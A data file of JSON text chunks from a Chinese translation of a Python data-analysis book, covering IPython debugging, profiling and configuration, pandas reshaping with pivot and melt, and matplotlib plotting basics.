    {"text": "而要想进入f，将f作为第一个参数传递给debug，再将位置和关 键词参数传递给f： In [6]: debug(f, 1, 2, z=3) > <ipython-input>(2)f() 1 def f(x, y, z): ----> 2 tmp = x + y 3 return tmp / z ipdb> 这两个简单方法节省了我平时的大量时间。"},
    {"text": "脚本通过运行%run -d，就可以直接进入调试器，随意设置断 点并启动脚本： In [1]: %run -d examples/ipython_bug.py Breakpoint 1 at /home/wesm/code/pydata-book/examples/ipython_bug.py:1 NOTE: Enter 'c' at the ipdb> prompt to start your script. > <string>(1)<module>() ipdb> 加上-b和行号，可以预设一个断点： In [2]: %run -d -b2 examples/ipython_bug.py Breakpoint 1 at /home/wesm/code/pydata-book/examples/ipython_bug.py:2 NOTE: Enter 'c' at the ipdb> prompt to start your script. > <string>(1)<module>() ipdb> c > /home/wesm/code/pydata-book/examples/ipython_bug.py(2)works_fine() 1 def works_fine(): 1---> 2 a = 5 3 b = 6 ipdb> 497 代码计时： %time 和 %timeit 对于大型和长时间运行的数据分析应用，你可能希望测量不同组件或单独函数调用语句的执行时 间。"},
    {"text": "手动用time模块和它的函数time.clock和time.time给代码计时，既单调又重复，因为必须要写一些 无趣的模板化代码： import time start = time.time() for i in range(iterations): # some code to run here elapsed_per = (time.time() - start) / iterations 因为这是一个很普通的操作，IPython有两个魔术函数，%time和%timeit，可以自动化这个过程。"},
    {"text": "这里有一个含有600000字符串的列表，和两个方法，用以 选出foo开头的字符串： # a very large list of strings strings = ['foo', 'foobar', 'baz', 'qux', 'python', 'Guido Van Rossum'] * 100000 method1 = [x for x in strings if x.startswith('foo')] method2 = [x for x in strings if x[:3] == 'foo'] 看起来它们的性能应该是同级别的，但事实呢？"},
    {"text": "用%time进行一下测量： In [561]: %time method1 = [x for x in strings if x.startswith('foo')] CPU times: user 0.19 s, sys: 0.00 s, total: 0.19 s Wall time: 0.19 s In [562]: %time method2 = [x for x in strings if x[:3] == 'foo'] CPU times: user 0.09 s, sys: 0.00 s, total: 0.09 s Wall time: 0.09 s Wall time（wall-clock time的简写）是主要关注的。"},
    {"text": "给出任意一条语句，它能多次运行这条语句以得到一个更为准确的时间： In [563]: %timeit [x for x in strings if x.startswith('foo')] 10 loops, best of 3: 159 ms per loop 498 In [564]: %timeit [x for x in strings if x[:3] == 'foo'] 10 loops, best of 3: 59.3 ms per loop 这个例子说明了解Python标准库、NumPy、pandas和其它库的性能是很有价值的。"},
    {"text": "在上一个例子中，我们可 以直接比较两个字符串操作，以了解它们的性能特点： In [565]: x = 'foobar' In [566]: y = 'foo' In [567]: %timeit x.startswith(y) 1000000 loops, best of 3: 267 ns per loop In [568]: %timeit x[:3] == y 10000000 loops, best of 3: 147 ns per loop 基础分析： %prun 和 %run -p 分析代码与代码计时关系很紧密，除了它关注的是“时间花在了哪里”。"},
    {"text": "cProfile会执行一个程序或任意的代码块，并会跟踪每个函 数执行的时间。 使用cProfile的通常方式是在命令行中运行一整段程序，输出每个函数的累积时间。"},
    {"text": "假设我们有一 个简单的在循环中进行线型代数运算的脚本（计算一系列的100×100矩阵的最大绝对特征值）： import numpy as np from numpy.linalg import eigvals def run_experiment(niter=100): K = 100 results = [] for _ in xrange(niter): mat = np.random.randn(K, K) max_eigenvalue = np.abs(eigvals(mat)).max() results.append(max_eigenvalue) return results some_results = run_experiment() print 'Largest one we saw: %s' % np.max(some_results) 你可以用cProfile运行这个脚本，使用下面的命令行： 499 python -m cProfile cprof_example.py 运行之后，你会发现输出是按函数名排序的。 这样要看出谁耗费的时间多有点困难，最好用-s指定 排序： $ python -m cProfile -s cumulative cprof_example.py Largest one we saw: 11.923204422 15116 function calls (14927 primitive calls) in 0.720 seconds Ordered by: cumulative time ncalls tottime percall cumtime percall filename:lineno(function) 1 0.001 0.001 0.721 0.721 cprof_example.py:1(<module>) 100 0.003 0.000 0.586 0.006 linalg.py:702(eigvals) 200 0.572 0.003 0.572 0.003 {numpy.linalg.lapack_lite.dgeev} 1 0.002 0.002 0.075 0.075 __init__.py:106(<module>) 100 0.059 0.001 0.059 0.001 {method 'randn') 1 0.000 0.000 0.044 0.044 add_newdocs.py:9(<module>) 2 0.001 0.001 0.037 0.019 __init__.py:1(<module>) 2 0.003 0.002 0.030 0.015 __init__.py:2(<module>) 1 0.000 0.000 0.030 0.030 type_check.py:3(<module>) 1 0.001 0.001 0.021 0.021 __init__.py:15(<module>) 1 0.013 0.013 0.013 0.013 numeric.py:1(<module>) 1 0.000 0.000 0.009 0.009 __init__.py:6(<module>) 1 0.001 0.001 0.008 0.008 __init__.py:45(<module>) 262 0.005 0.000 0.007 0.000 function_base.py:3178(add_newdoc) 100 0.003 0.000 0.005 0.000 linalg.py:162(_assertFinite) 只显示出前15行。"},
    {"text": "%prun使用类似cProfile的命令行选项， 但是可以分析任意Python语句，而不用整个py文件： In [4]: %prun -l 7 -s cumulative run_experiment() 4203 function calls in 0.643 seconds Ordered by: cumulative time List reduced from 32 to 7 due to restriction <7> ncalls tottime percall cumtime percall filename:lineno(function) 1 0.000 0.000 0.643 0.643 <string>:1(<module>) 1 0.001 0.001 0.643 0.643 cprof_example.py:4(run_experiment) 100 0.003 0.000 0.583 0.006 linalg.py:702(eigvals) 200 0.569 0.003 0.569 0.003 {numpy.linalg.lapack_lite.dgeev} 100 0.058 0.001 0.058 0.001 {method 'randn'} 500 100 0.003 0.000 0.005 0.000 linalg.py:162(_assertFinite) 200 0.002 0.000 0.002 0.000 {method 'all' of 'numpy.ndarray'} 相似的，调用 %run -p -s cumulative cprof_example.py 有和命令行相似的作用，只是你不用离开 Ipython。"},
    {"text": "其中之一是 逐行分析函数 有些情况下，用%prun（或其它基于cProfile的分析方法）得到的信息，不能获得函数执行时间的 整个过程，或者结果过于复杂，加上函数名，很难进行解读。"},
    {"text": "你可以通过修改IPython配置（查看IPython 文档或本章后面的配置小节）加入下面这行，启用这个插件： # A list of dotted module names of IPython extensions to load. c.TerminalIPythonApp.extensions = ['line_profiler'] 你还可以运行命令： %load_ext line_profiler line_profiler也可以在程序中使用（查看完整文档），但是在IPython中使用是最为强大的。"},
    {"text": "假设你 有一个带有下面代码的模块prof_mod，做一些NumPy数组操作： from numpy.random import randn def add_and_sum(x, y): added = x + y summed = added.sum(axis=1) return summed def call_function(): x = randn(1000, 1000) y = randn(1000, 1000) return add_and_sum(x, y) 如果想了解add_and_sum函数的性能，%prun可以给出下面内容： 501 In [569]: %run prof_mod In [570]: x = randn(3000, 3000) In [571]: y = randn(3000, 3000) In [572]: %prun add_and_sum(x, y) 4 function calls in 0.049 seconds Ordered by: internal time ncalls tottime percall cumtime percall filename:lineno(function) 1 0.036 0.036 0.046 0.046 prof_mod.py:3(add_and_sum) 1 0.009 0.009 0.009 0.009 {method 'sum' of 'numpy.ndarray'} 1 0.003 0.003 0.049 0.049 <string>:1(<module>) 上面的做法启发性不大。"},
    {"text": "语法是： %lprun -f func1 -f func2 statement_to_profile 我们想分析add_and_sum，运行： In [573]: %lprun -f add_and_sum add_and_sum(x, y) Timer unit: 1e-06 s File: prof_mod.py Function: add_and_sum at line 3 Total time: 0.045936 s Line # Hits Time Per Hit % Time Line Contents ============================================================== 3 def add_and_sum(x, y): 4 1 36510 36510.0 79.5 added = x + y 5 1 9425 9425.0 20.5 summed = added.sum(axis=1) 6 1 1 1.0 0.0 return summed 这样就容易诠释了。"},
    {"text": "看之前的模块代码，我们可以调用 call_function并对它和add_and_sum进行分析，得到一个完整的代码性能概括： In [574]: %lprun -f add_and_sum -f call_function call_function() Timer unit: 1e-06 s File: prof_mod.py Function: add_and_sum at line 3 Total time: 0.005526 s Line # Hits Time Per Hit % Time Line Contents ============================================================== 3 def add_and_sum(x, y): 4 1 4375 4375.0 79.2 added = x + y 502 5 1 1149 1149.0 20.8 summed = added.sum(axis=1) 6 1 2 2.0 0.0 return summed File: prof_mod.py Function: call_function at line 8 Total time: 0.121016 s Line # Hits Time Per Hit % Time Line Contents ============================================================== 8 def call_function(): 9 1 57169 57169.0 47.2 x = randn(1000, 1000) 10 1 58304 58304.0 48.2 y = randn(1000, 1000) 11 1 5543 5543.0 4.6 return add_and_sum(x, y) 我的经验是用%prun (cProfile)进行宏观分析，%lprun (line_profiler)做微观分析。"},
    {"text": "重载模块依赖 在Python中，当你输入import some_lib，some_lib中的代码就会被执行，所有的变量、函数和定 义的引入，就会被存入到新创建的some_lib模块命名空间。"},
    {"text": "假设我在test_script.py中有如下代码： import some_lib x = 5 y = [1, 2, 3, 4] result = some_lib.get_answer(x, y) 如果你运行过了%run test_script.py，然后修改了some_lib.py，下一次再执行%run test_script.py，还会得到旧版本的some_lib.py，这是因为Python模块系统的“一次加载”机制。"},
    {"text": "第一种是在标准库importlib模块中使用reload函数： import some_lib import importlib importlib.reload(some_lib) 这可以保证每次运行test_script.py时可以加载最新的some_lib.py。"},
    {"text": "保持相关对象和数据活跃 为命令行写一个下面示例中的程序是很少见的： from my_functions import g def f(x, y): return g(x + y) def main(): x = 6 y = 7.5 result = x + y if __name__ == '__main__': main() 在IPython中运行这个程序会发生问题，你发现是什么了吗？"},
    {"text": "假设有一个下 面的简单的类： class Message: def __init__(self, msg): self.msg = msg 如果这么写，就会发现默认的输出不够美观： In [576]: x = Message('I have a secret') In [577]: x Out[577]: <__main__.Message instance at 0x60ebbd8> IPython会接收 repr 魔术方法返回的字符串（通过output = repr(obj)），并在控制台打印出来。 因 此，我们可以添加一个简单的 repr 方法到前面的类中，以得到一个更有用的输出： class Message: def __init__(self, msg): 505 self.msg = msg def __repr__(self): return 'Message: %s' % self.msg In [579]: x = Message('I have a secret') In [580]: x Out[580]: Message: I have a secret 文件和配置 通过扩展配置系统，大多数IPython和Jupyter notebook的外观（颜色、提示符、行间距等等）和 动作都是可以配置的。"},
    {"text": "通过配置，你可以做到： 改变颜色主题 改变输入和输出提示符，或删除输出之后、输入之前的空行 执行任意Python语句（例如，引入总是要使用的代码或者每次加载IPython都要运行的内容） 启用IPython总是要运行的插件，比如line_profiler中的%lprun魔术函数 启用Jupyter插件 定义自己的魔术函数或系统别名 IPython的配置存储在特殊的ipython_config.py文件中，它通常是在用户home目录的.ipython/文件 夹中。"},
    {"text": "当你启动IPython，就会默认加载这个存储在profile_default文件 夹中的默认文件。 因此，在我的Linux系统，完整的IPython配置文件路径是： /home/wesm/.ipython/profile_default/ipython_config.py 要启动这个文件，运行下面的命令： ipython profile create 这个文件中的内容留给读者自己探索。"},
    {"text": "创建一 个新的配置文件很简单，如下所示： ipython profile create secret_project 做完之后，在新创建的profile_secret_project目录便捷配置文件，然后如下启动IPython： $ ipython --profile=secret_project Python 3.5.1 | packaged by conda-forge | (default, May 20 2016, 05:22:56) Type \"copyright\", \"credits\" or \"license\" for more information. 506 IPython 5.1.0 -- An enhanced Interactive Python. ? -> Introduction and overview of IPython's features. %quickref -> Quick reference. help -> Python's own help system. object? -> Details about 'object', use 'object??' for extra details. IPython profile: secret_project 和之前一样，IPython的文档是一个极好的学习配置文件的资源。"},
    {"text": "要创建一个类似的Jupyter配置文 件，运行： jupyter notebook --generate-config 这样会在home目录的.jupyter/jupyter_notebook_config.py创建配置文件。 编辑完之后，可以将它 重命名： $ mv ~/.jupyter/jupyter_notebook_config.py ~/.jupyter/my_custom_config.py 打开Jupyter之后，你可以添加--config参数： jupyter notebook --config=~/.jupyter/my_custom_config.py B.6 总结 学习过本书中的代码案例，你的Python技能得到了一定的提升，我建议你持续学习IPython和 Jupyter。"},
    {"text": "Table of Contents dtype: int64 In [131]: data2.unstack() Out[131]: a b c d e one 0.0 1.0 2.0 3.0 NaN two NaN NaN 4.0 5.0 6.0 stack默认会滤除缺失数据，因此该运算是可逆的： In [132]: data2.unstack() Out[132]: a b c d e 248 one 0.0 1.0 2.0 3.0 NaN two NaN NaN 4.0 5.0 6.0 In [133]: data2.unstack().stack() Out[133]: one a 0.0 b 1.0 c 2.0 d 3.0 two c 4.0 d 5.0 e 6.0 dtype: float64 In [134]: data2.unstack().stack(dropna=False) Out[134]: one a 0.0 b 1.0 c 2.0 d 3.0 e NaN two a NaN b NaN c 4.0 d 5.0 e 6.0 dtype: float64 在对DataFrame进行unstack操作时，作为旋转轴的级别将会成为结果中的最低级别： In [135]: df = pd.DataFrame({'left': result, 'right': result + 5}, .....: columns=pd.Index(['left', 'right'], name='side')) In [136]: df Out[136]: side left right state number Ohio one 0 5 two 1 6 three 2 7 Colorado one 3 8 two 4 9 three 5 10 In [137]: df.unstack('state') Out[137]: side left right state Ohio Colorado Ohio Colorado 249 number one 0 3 5 8 two 1 4 6 9 three 2 5 7 10 当调用stack，我们可以指明轴的名字： In [138]: df.unstack('state').stack('side') Out[138]: state Colorado Ohio number side one left 3 0 right 8 5 two left 4 1 right 9 6 three left 5 2 right 10 7 将 “ 长格式 ” 旋转为 “ 宽格式 ” 多个时间序列数据通常是以所谓的“长格式”（long）或“堆叠格式”（stacked）存储在数据库和CSV 中的。 我们先加载一些示例数据，做一些时间序列规整和数据清洗： In [139]: data = pd.read_csv('examples/macrodata.csv') In [140]: data.head() Out[140]: year quarter realgdp realcons realinv realgovt realdpi cpi \\ 0 1959.0 1.0 2710.349 1707.4 286.898 470.045 1886.9 28.98 1 1959.0 2.0 2778.801 1733.7 310.859 481.301 1919.7 29.15 2 1959.0 3.0 2775.488 1751.8 289.226 491.260 1916.4 29.35 3 1959.0 4.0 2785.204 1753.7 299.356 484.052 1931.3 29.37 4 1960.0 1.0 2847.699 1770.5 331.722 462.199 1955.5 29.54 m1 tbilrate unemp pop infl realint 0 139.7 2.82 5.8 177.146 0.00 0.00 1 141.7 3.08 5.1 177.830 2.34 0.74 2 140.5 3.82 5.3 178.657 2.74 1.09 3 140.0 4.33 5.6 179.386 0.27 4.06 4 139.6 3.50 5.2 180.007 2.31 1.19 In [141]: periods = pd.PeriodIndex(year=data.year, quarter=data.quarter, .....: name='date') In [142]: columns = pd.Index(['realgdp', 'infl', 'unemp'], name='item') In [143]: data = data.reindex(columns=columns) 250 In [144]: data.index = periods.to_timestamp('D', 'end') In [145]: ldata = data.stack().reset_index().rename(columns={0: 'value'}) 这就是多个时间序列（或者其它带有两个或多个键的可观察数据，这里，我们的键是date和item） 的长格式。"},
    {"text": "关系型数据库（如MySQL）中的数据经常都是这样存储的，因为固定架构（即列名和数据类型） 有一个好处：随着表中数据的添加，item列中的值的种类能够增加。"},
    {"text": "DataFrame的pivot方法完全可以实现这个转换： In [147]: pivoted = ldata.pivot('date', 'item', 'value') In [148]: pivoted Out[148]: item infl realgdp unemp date 1959-03-31 0.00 2710.349 5.8 1959-06-30 2.34 2778.801 5.1 1959-09-30 2.74 2775.488 5.3 1959-12-31 0.27 2785.204 5.6 1960-03-31 2.31 2847.699 5.2 1960-06-30 0.14 2834.390 5.2 1960-09-30 2.70 2839.022 5.6 1960-12-31 1.21 2802.616 6.3 1961-03-31 -0.40 2819.264 6.8 1961-06-30 1.47 2872.005 7.0 ... ... ... ... 2007-06-30 2.75 13203.977 4.5 2007-09-30 3.45 13321.109 4.7 2007-12-31 6.38 13391.249 4.8 2008-03-31 2.82 13366.865 4.9 2008-06-30 8.53 13415.266 5.4 2008-09-30 -3.16 13324.600 6.0 2008-12-31 -8.79 13141.920 6.9 2009-03-31 0.94 12925.410 8.1 2009-06-30 3.37 12901.504 9.2 2009-09-30 3.56 12990.341 9.6 [203 rows x 3 columns] 前两个传递的值分别用作行和列索引，最后一个可选值则是用于填充DataFrame的数据列。 假设有 两个需要同时重塑的数据列： 251 In [149]: ldata['value2'] = np.random.randn(len(ldata)) In [150]: ldata[:10] Out[150]: date item value value2 0 1959-03-31 realgdp 2710.349 0.523772 1 1959-03-31 infl 0.000 0.000940 2 1959-03-31 unemp 5.800 1.343810 3 1959-06-30 realgdp 2778.801 -0.713544 4 1959-06-30 infl 2.340 -0.831154 5 1959-06-30 unemp 5.100 -2.370232 6 1959-09-30 realgdp 2775.488 -1.860761 7 1959-09-30 infl 2.740 -0.860757 8 1959-09-30 unemp 5.300 0.560145 9 1959-12-31 realgdp 2785.204 -1.265934 如果忽略最后一个参数，得到的DataFrame就会带有层次化的列： In [151]: pivoted = ldata.pivot('date', 'item') In [152]: pivoted[:5] Out[152]: value value2 item infl realgdp unemp infl realgdp unemp date 1959-03-31 0.00 2710.349 5.8 0.000940 0.523772 1.343810 1959-06-30 2.34 2778.801 5.1 -0.831154 -0.713544 -2.370232 1959-09-30 2.74 2775.488 5.3 -0.860757 -1.860761 0.560145 1959-12-31 0.27 2785.204 5.6 0.119827 -1.265934 -1.063512 1960-03-31 2.31 2847.699 5.2 -2.359419 0.332883 -0.199543 In [153]: pivoted['value'][:5] Out[153]: item infl realgdp unemp date 1959-03-31 0.00 2710.349 5.8 1959-06-30 2.34 2778.801 5.1 1959-09-30 2.74 2775.488 5.3 1959-12-31 0.27 2785.204 5.6 1960-03-31 2.31 2847.699 5.2 注意，pivot其实就是用set_index创建层次化索引，再用unstack重塑： In [154]: unstacked = ldata.set_index(['date', 'item']).unstack('item') In [155]: unstacked[:7] 252 Out[155]: value value2 item infl realgdp unemp infl realgdp unemp date 1959-03-31 0.00 2710.349 5.8 0.000940 0.523772 1.343810 1959-06-30 2.34 2778.801 5.1 -0.831154 -0.713544 -2.370232 1959-09-30 2.74 2775.488 5.3 -0.860757 -1.860761 0.560145 1959-12-31 0.27 2785.204 5.6 0.119827 -1.265934 -1.063512 1960-03-31 2.31 2847.699 5.2 -2.359419 0.332883 -0.199543 1960-06-30 0.14 2834.390 5.2 -0.970736 -1.541996 -1.307030 1960-09-30 2.70 2839.022 5.6 0.377984 0.286350 -0.753887 将 “ 宽格式 ” 旋转为 “ 长格式 ” 旋转DataFrame的逆运算是pandas.melt。"},
    {"text": "看一个例子： In [157]: df = pd.DataFrame({'key': ['foo', 'bar', 'baz'], .....: 'A': [1, 2, 3], .....: 'B': [4, 5, 6], .....: 'C': [7, 8, 9]}) In [158]: df Out[158]: A B C key 0 1 4 7 foo 1 2 5 8 bar 2 3 6 9 baz key列可能是分组指标，其它的列是数据值。"},
    {"text": "下面使用key作为唯一的分组指标： In [159]: melted = pd.melt(df, ['key']) In [160]: melted Out[160]: key variable value 0 foo A 1 1 bar A 2 2 baz A 3 3 foo B 4 4 bar B 5 5 baz B 6 6 foo C 7 7 bar C 8 8 baz C 9 253 使用pivot，可以重塑回原来的样子： In [161]: reshaped = melted.pivot('key', 'variable', 'value') In [162]: reshaped Out[162]: variable A B C key bar 2 5 8 baz 3 6 9 foo 1 4 7 因为pivot的结果从列创建了一个索引，用作行标签，我们可以使用reset_index将数据移回列： In [163]: reshaped.reset_index() Out[163]: variable key A B C 0 bar 2 5 8 1 baz 3 6 9 2 foo 1 4 7 你还可以指定列的子集，作为值的列： In [164]: pd.melt(df, id_vars=['key'], value_vars=['A', 'B']) Out[164]: key variable value 0 foo A 1 1 bar A 2 2 baz A 3 3 foo B 4 4 bar B 5 5 baz B 6 pandas.melt也可以不用分组指标： In [165]: pd.melt(df, value_vars=['A', 'B', 'C']) Out[165]: variable value 0 A 1 1 A 2 2 A 3 3 B 4 4 B 5 5 B 6 6 C 7 254 7 C 8 8 C 9 In [166]: pd.melt(df, value_vars=['key', 'A', 'B']) Out[166]: variable value 0 key foo 1 key bar 2 key baz 3 A 1 4 A 2 5 A 3 6 B 4 7 B 5 8 B 6 8.4 总结 现在你已经掌握了pandas数据导入、清洗、重塑，我们可以进一步学习matplotlib数据可视化。"},
    {"text": "在Jupyter notebook中执 行下面的语句： %matplotlib notebook 9.1 matplotlib API 入门 matplotlib的通常引入约定是： In [11]: import matplotlib.pyplot as plt 在Jupyter中运行%matplotlib notebook（或在IPython中运行%matplotlib），就可以创建一个简单 的图形。"},
    {"text": "如果一切设置正确，会看到图9-1： In [12]: import numpy as np In [13]: data = np.arange(10) In [14]: data Out[14]: array([0, 1, 2, 3, 4, 5, 6, 7, 8, 9]) In [15]: plt.plot(data) 256 虽然seaborn这样的库和pandas的内置绘图函数能够处理许多普通的绘图任务，但如果需要自定义 一些高级功能的话就必须学习matplotlib API。"},
    {"text": "你可以用plt.figure创建一个新的Figure： In [16]: fig = plt.figure() 如果用的是IPython，这时会弹出一个空窗口，但在Jupyter中，必须再输入更多命令才能看到。"},
    {"text": "必须用add_subplot创建一个或多个subplot才行： In [17]: ax1 = fig.add_subplot(2, 2, 1) 这条代码的意思是：图像应该是2×2的（即最多4张图），且当前选中的是4个subplot中的第一个 （编号从1开始）。 如果再把后面两个subplot也创建出来，最终得到的图像如图9-2所示： In [18]: ax2 = fig.add_subplot(2, 2, 2) In [19]: ax3 = fig.add_subplot(2, 2, 3) 257 提示：使用Jupyter notebook有一点不同，即每个小窗重新执行后，图形会被重置。"},
    {"text": "这里，我们运行同一个小窗里的所有命令： fig = plt.figure() ax1 = fig.add_subplot(2, 2, 1) ax2 = fig.add_subplot(2, 2, 2) ax3 = fig.add_subplot(2, 2, 3) 如果这时执行一条绘图命令（如plt.plot([1.5, 3.5, -2, 1.6])），matplotlib就会在最后一个用过的 subplot（如果没有则创建一个）上进行绘制，隐藏创建figure和subplot的过程。 因此，如果我们执 行下列命令，你就会得到如图9-3所示的结果： In [20]: plt.plot(np.random.randn(50).cumsum(), 'k--') 258 \"k--\"是一个线型选项，用于告诉matplotlib绘制黑色虚线图。 上面那些由fig.add_subplot所返回的对 象是AxesSubplot对象，直接调用它们的实例方法就可以在其它空着的格子里面画图了，如图9-4 所示： In [21]: ax1.hist(np.random.randn(100), bins=20, color='k', alpha=0.3) In [22]: ax2.scatter(np.arange(30), np.arange(30) + 3 * np.random.randn(30)) 259 你可以在matplotlib的文档中找到各种图表类型。 创建包含subplot网格的figure是一个非常常见的任务，matplotlib有一个更为方便的方法 plt.subplots，它可以创建一个新的Figure，并返回一个含有已创建的subplot对象的NumPy数组： In [24]: fig, axes = plt.subplots(2, 3) In [25]: axes Out[25]: array([[<matplotlib.axes._subplots.AxesSubplot object at 0x7fb626374048>, <matplotlib.axes._subplots.AxesSubplot object at 0x7fb62625db00>, <matplotlib.axes._subplots.AxesSubplot object at 0x7fb6262f6c88>], [<matplotlib.axes._subplots.AxesSubplot object at 0x7fb6261a36a0>, <matplotlib.axes._subplots.AxesSubplot object at 0x7fb626181860>, <matplotlib.axes._subplots.AxesSubplot object at 0x7fb6260fd4e0>]], dtype =object) 这是非常实用的，因为可以轻松地对axes数组进行索引，就好像是一个二维数组一样，例如 axes[0,1]。"},
    {"text": "利用Figure的subplots_adjust方法可以轻而易举地修改间距，此外，它也是个顶级函数： subplots_adjust(left=None, bottom=None, right=None, top=None, wspace=None, hspace=None) wspace和hspace用于控制宽度和高度的百分比，可以用作subplot之间的间距。"},
    {"text": "下面是一个简单的 例子，其中我将间距收缩到了0（如图9-5所示）： fig, axes = plt.subplots(2, 2, sharex=True, sharey=True) 260 for i in range(2): for j in range(2): axes[i, j].hist(np.random.randn(500), bins=50, color='k', alpha=0.5) plt.subplots_adjust(wspace=0, hspace=0) 不难看出，其中的轴标签重叠了。"},
    {"text": "例如， 要根据x和y绘制绿色虚线，你可以执行如下代码： ax.plot(x, y, 'g--') 这种在一个字符串中指定颜色和线型的方式非常方便。"},
    {"text": "通过下面这种更为明确的方式也能得到同样的效果： ax.plot(x, y, linestyle='--', color='g') 常用的颜色可以使用颜色缩写，你也可以指定颜色码（例如，'#CECECE'）。"},
    {"text": "标记也可以放到格式字符串中，但标记类型和线型必须放在 颜色后面（见图9-6）： In [30]: from numpy.random import randn In [31]: plt.plot(randn(30).cumsum(), 'ko--') 还可以将其写成更为明确的形式： plot(randn(30).cumsum(), color='k', linestyle='dashed', marker='o') 在线型图中，非实际数据点默认是按线性方式插值的。"},
    {"text": "可以通过drawstyle选项修改（见图9-7）： In [33]: data = np.random.randn(30).cumsum() In [34]: plt.plot(data, 'k--', label='Default') Out[34]: [<matplotlib.lines.Line2D at 0x7fb624d86160>] In [35]: plt.plot(data, 'k-', drawstyle='steps-post', label='steps-post') Out[35]: [<matplotlib.lines.Line2D at 0x7fb624d869e8>] In [36]: plt.legend(loc='best') 262 你可能注意到运行上面代码时有输出。"},
    {"text": "这里，因为我们传递了label参数到plot，我们可以创建一个plot 图例，指明每条使用plt.legend的线。 笔记：你必须调用plt.legend（或使用ax.legend，如果引用了轴的话）来创建图例，无论你 绘图时是否传递label标签选项。"},
    {"text": "刻度、标签和图例 对于大多数的图表装饰项，其主要实现方式有二：使用过程型的pyplot接口（例如， matplotlib.pyplot）以及更为面向对象的原生matplotlib API。"},
    {"text": "其使用方式有以下两种： 调用时不带参数，则返回当前的参数值（例如，plt.xlim()返回当前的X轴绘图范围）。 调用时带参数，则设置参数值（例如，plt.xlim([0,10])会将X轴的范围设置为0到10）。"},
    {"text": "设置标题、轴标签、刻度以及刻度标签 为了说明自定义轴，我将创建一个简单的图像并绘制一段随机漫步（如图9-8所示）： 263 In [37]: fig = plt.figure() In [38]: ax = fig.add_subplot(1, 1, 1) In [39]: ax.plot(np.random.randn(1000).cumsum()) 要改变x轴刻度，最简单的办法是使用set_xticks和set_xticklabels。"},
    {"text": "但我们可以通过 set_xticklabels将任何其他的值用作标签： In [40]: ticks = ax.set_xticks([0, 250, 500, 750, 1000]) In [41]: labels = ax.set_xticklabels(['one', 'two', 'three', 'four', 'five'], ....: rotation=30, fontsize='small') rotation选项设定x刻度标签倾斜30度。"},
    {"text": "最后，再用set_xlabel为X轴设置一个名称，并用set_title设 置一个标题（见图9-9的结果）： In [42]: ax.set_title('My first matplotlib plot') Out[42]: <matplotlib.text.Text at 0x7fb624d055f8> In [43]: ax.set_xlabel('Stages') 264 Y轴的修改方式与此类似，只需将上述代码中的x替换为y即可。"},
    {"text": "前面的例子，也可以写为： props = { 'title': 'My first matplotlib plot', 'xlabel': 'Stages' } ax.set(**props) 添加图例 图例（legend）是另一种用于标识图表元素的重要工具。"},
    {"text": "最简单的是在 添加subplot的时候传入label参数： In [44]: from numpy.random import randn In [45]: fig = plt.figure(); ax = fig.add_subplot(1, 1, 1) In [46]: ax.plot(randn(1000).cumsum(), 'k', label='one') Out[46]: [<matplotlib.lines.Line2D at 0x7fb624bdf860>] In [47]: ax.plot(randn(1000).cumsum(), 'k--', label='two') Out[47]: [<matplotlib.lines.Line2D at 0x7fb624be90f0>] In [48]: ax.plot(randn(1000).cumsum(), 'k.', label='three') 265 Out[48]: [<matplotlib.lines.Line2D at 0x7fb624be9160>] 在此之后，你可以调用ax.legend()或plt.legend()来自动创建图例（结果见图9-10）： In [49]: ax.legend(loc='best') legend方法有几个其它的loc位置参数选项。"},
    {"text": "（中文第一版这里把best错写成了beat） 注解以及在 Subplot 上绘图 除标准的绘图类型，你可能还希望绘制一些子集的注解，可能是文本、箭头或其他图形等。"},
    {"text": "text可以将文本绘制在图表的指定坐标(x,y)， 还可以加上一些自定义格式： ax.text(x, y, 'Hello world!', family='monospace', fontsize=10) 注解中可以既含有文本也含有箭头。"},
    {"text": "你可 以在Jupyter notebook的一个小窗中试验这段代码（图9-11是结果）： 266 from datetime import datetime fig = plt.figure() ax = fig.add_subplot(1, 1, 1) data = pd.read_csv('examples/spx.csv', index_col=0, parse_dates=True) spx = data['SPX'] spx.plot(ax=ax, style='k-') crisis_data = [ (datetime(2007, 10, 11), 'Peak of bull market'), (datetime(2008, 3, 12), 'Bear Stearns Fails'), (datetime(2008, 9, 15), 'Lehman Bankruptcy') ] for date, label in crisis_data: ax.annotate(label, xy=(date, spx.asof(date) + 75), xytext=(date, spx.asof(date) + 225), arrowprops=dict(facecolor='black', headwidth=4, width=2, headlength=4), horizontalalignment='left', verticalalignment='top') # Zoom in on 2007-2010 ax.set_xlim(['1/1/2007', '1/1/2011']) ax.set_ylim([600, 1800]) ax.set_title('Important dates in the 2008-2009 financial crisis') 267 这张图中有几个重要的点要强调：ax.annotate方法可以在指定的x和y坐标轴绘制标签。"},
    {"text": "要在图表中添加一个图形，你需要创建一个块对象shp，然后通过ax.add_patch(shp)将其添加到 subplot中（如图9-12所示）： fig = plt.figure() ax = fig.add_subplot(1, 1, 1) rect = plt.Rectangle((0.2, 0.75), 0.4, 0.15, color='k', alpha=0.3) circ = plt.Circle((0.7, 0.2), 0.15, color='b', alpha=0.3) pgon = plt.Polygon([[0.15, 0.15], [0.35, 0.4], [0.2, 0.6]], color='g', alpha=0.5) ax.add_patch(rect) ax.add_patch(circ) ax.add_patch(pgon) 如果查看许多常见图表对象的具体实现代码，你就会发现它们其实就是由块patch组装而成的。"},
    {"text": "要得到一张带有最小白边且分辨率为400DPI的PNG图片，你可 以： plt.savefig('figpath.png', dpi=400, bbox_inches='tight') savefig并非一定要写入磁盘，也可以写入任何文件型的对象，比如BytesIO： from io import BytesIO buffer = BytesIO() plt.savefig(buffer) plot_data = buffer.getvalue() 表9-2列出了savefig的其它选项。"},
    {"text": "例如，要将全 局的图像默认大小设置为10×10，你可以执行： plt.rc('figure', figsize=(10, 10)) 269 rc的第一个参数是希望自定义的对象，如'figure'、'axes'、'xtick'、'ytick'、'grid'、'legend'等。"},
    {"text": "一个简单的办法是将这些选项写成一个字典： font_options = {'family' : 'monospace', 'weight' : 'bold', 'size' : 'small'} plt.rc('font', **font_options) 要了解全部的自定义选项，请查阅matplotlib的配置文件matplotlibrc（位于matplotlib/mpl-data目录 中）。"},
    {"text": "要绘制一张图表，你组装一些基本组件就行：数据展示 （即图表类型：线型图、柱状图、盒形图、散布图、等值线图等）、图例、标题、刻度标签以及其 他注解型信息。"},
